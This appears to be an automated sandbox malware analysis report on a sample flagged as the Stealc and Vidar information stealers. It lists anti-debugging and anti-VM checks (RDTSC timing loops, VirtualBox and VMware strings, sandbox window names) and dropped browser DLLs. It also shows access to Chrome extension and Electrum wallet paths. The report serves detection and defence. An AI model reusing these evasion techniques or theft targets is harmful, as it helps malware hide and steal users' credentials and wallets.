Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0019 second address: 52B00AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007F1364D027B3h 0x0000000b sbb esi, 5BD37E4Eh 0x00000011 jmp 00007F1364D027B9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov cx, A4F3h 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F1364D027B5h 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F1364D027AEh 0x0000002f mov ebp, esp 0x00000031 jmp 00007F1364D027B0h 0x00000036 xchg eax, ecx 0x00000037 jmp 00007F1364D027B0h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00AD second address: 52B00B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00B1 second address: 52B00B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00B5 second address: 52B00BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00BB second address: 52B00D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00D5 second address: 52B00DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00DB second address: 52B00E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00E1 second address: 52B00E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00E5 second address: 52B0142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov cl, DDh 0x0000000c pushfd 0x0000000d jmp 00007F1364D027B3h 0x00000012 add esi, 705221DEh 0x00000018 jmp 00007F1364D027B9h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F1364D027B1h 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov dx, 9BEEh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0142 second address: 52B0147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0147 second address: 52B01B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007F1364D027B0h 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1364D027AEh 0x0000001b jmp 00007F1364D027B5h 0x00000020 popfd 0x00000021 mov edi, ecx 0x00000023 popad 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1364D027B9h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B01B8 second address: 52B01BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B01BE second address: 52B01D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F1364D027ABh 0x00000011 mov dx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0363 second address: 52B0367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0367 second address: 52B036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B036B second address: 52B0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0371 second address: 52B041E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 pushfd 0x00000006 jmp 00007F1364D027ACh 0x0000000b sbb ch, FFFFFFD8h 0x0000000e jmp 00007F1364D027ABh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+18h] 0x0000001a pushad 0x0000001b push esi 0x0000001c pushfd 0x0000001d jmp 00007F1364D027ABh 0x00000022 xor cl, FFFFFF9Eh 0x00000025 jmp 00007F1364D027B9h 0x0000002a popfd 0x0000002b pop ecx 0x0000002c mov dx, BC14h 0x00000030 popad 0x00000031 push dword ptr [ebp+14h] 0x00000034 jmp 00007F1364D027B3h 0x00000039 push dword ptr [ebp+10h] 0x0000003c jmp 00007F1364D027B6h 0x00000041 push dword ptr [ebp+0Ch] 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov ebx, 47C8E510h 0x0000004c call 00007F1364D027B9h 0x00000051 pop ecx 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B041E second address: 52B0436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52907A8 second address: 52907F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1364D027B1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 mov ah, CFh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1364D027AEh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52908B7 second address: 529095B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F1364F5E24Eh 0x00000011 mov esi, edx 0x00000013 pushad 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1364F5E24Ch 0x0000001b xor ah, FFFFFF88h 0x0000001e jmp 00007F1364F5E24Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F1364F5E258h 0x0000002a adc cx, 38E8h 0x0000002f jmp 00007F1364F5E24Bh 0x00000034 popfd 0x00000035 popad 0x00000036 jmp 00007F1364F5E258h 0x0000003b popad 0x0000003c mov al, byte ptr [edx] 0x0000003e pushad 0x0000003f mov eax, 2102C71Dh 0x00000044 mov di, si 0x00000047 popad 0x00000048 inc edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F1364F5E24Bh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529095B second address: 529099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, F4h 0x00000005 pushfd 0x00000006 jmp 00007F1364D027B0h 0x0000000b or esi, 63C330D8h 0x00000011 jmp 00007F1364D027ABh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test al, al 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1364D027B5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529099F second address: 52909A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909A7 second address: 529095B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F1364D02733h 0x0000000d mov al, byte ptr [edx] 0x0000000f pushad 0x00000010 mov eax, 2102C71Dh 0x00000015 mov di, si 0x00000018 popad 0x00000019 inc edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1364D027ABh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909BD second address: 52909D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E24Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909D0 second address: 52909D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909D4 second address: 52909E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909E4 second address: 52909E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909E8 second address: 52909EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909EE second address: 5290A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov al, BBh 0x0000000f push eax 0x00000010 push edx 0x00000011 movsx edi, cx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A13 second address: 5290A41 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1364F5E252h 0x00000008 sbb cl, FFFFFF88h 0x0000000b jmp 00007F1364F5E24Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 dec edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A41 second address: 5290A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A5C second address: 5290A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A62 second address: 5290A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, 4DC9F6CFh 0x00000013 mov dx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A79 second address: 5290AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1364F5E257h 0x00000009 adc ecx, 6C21B88Eh 0x0000000f jmp 00007F1364F5E259h 0x00000014 popfd 0x00000015 jmp 00007F1364F5E250h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov al, byte ptr [edi+01h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1364F5E257h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290AE3 second address: 5290B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov di, CE26h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc edi 0x0000000e jmp 00007F1364D027ADh 0x00000013 test al, al 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1364D027ADh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290B0F second address: 5290BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F13D4AB61A1h 0x0000000f jmp 00007F1364F5E24Eh 0x00000014 mov ecx, edx 0x00000016 jmp 00007F1364F5E250h 0x0000001b shr ecx, 02h 0x0000001e pushad 0x0000001f mov bh, ah 0x00000021 pushfd 0x00000022 jmp 00007F1364F5E253h 0x00000027 add ax, 0C1Eh 0x0000002c jmp 00007F1364F5E259h 0x00000031 popfd 0x00000032 popad 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 rep movsd 0x0000003b rep movsd 0x0000003d jmp 00007F1364F5E24Eh 0x00000042 mov ecx, edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007F1364F5E24Dh 0x0000004d xor ecx, 506C5D06h 0x00000053 jmp 00007F1364F5E251h 0x00000058 popfd 0x00000059 mov edx, esi 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290BC2 second address: 5290C15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 4A75E38Eh 0x00000008 pushfd 0x00000009 jmp 00007F1364D027AFh 0x0000000e and ax, 4C3Eh 0x00000013 jmp 00007F1364D027B9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c and ecx, 03h 0x0000001f jmp 00007F1364D027AEh 0x00000024 rep movsb 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290C15 second address: 5290C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290C1B second address: 5290C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364D027ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290C2A second address: 5290C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E259h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 pushad 0x00000013 mov dh, al 0x00000015 movsx ebx, ax 0x00000018 popad 0x00000019 mov eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, 5C10h 0x00000022 mov eax, edi 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290C63 second address: 5290C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290C69 second address: 5290CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e jmp 00007F1364F5E250h 0x00000013 mov dword ptr fs:[00000000h], ecx 0x0000001a jmp 00007F1364F5E250h 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F1364F5E24Dh 0x00000029 or esi, 3B319EA6h 0x0000002f jmp 00007F1364F5E251h 0x00000034 popfd 0x00000035 push eax 0x00000036 pop ebx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290CD2 second address: 5290CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1364D027ADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290CF3 second address: 5290D18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E251h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1364F5E24Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290F14 second address: 5290F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, si 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a mov dh, al 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 72D8E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 72D833 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8D3F3D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8D9538 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 95F40D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2056013501.00000000008B4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2056482059.0000000001383000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2056013501.00000000008B4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2056013501.00000000008B4000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2055685858.0000000000441000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693152043.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.
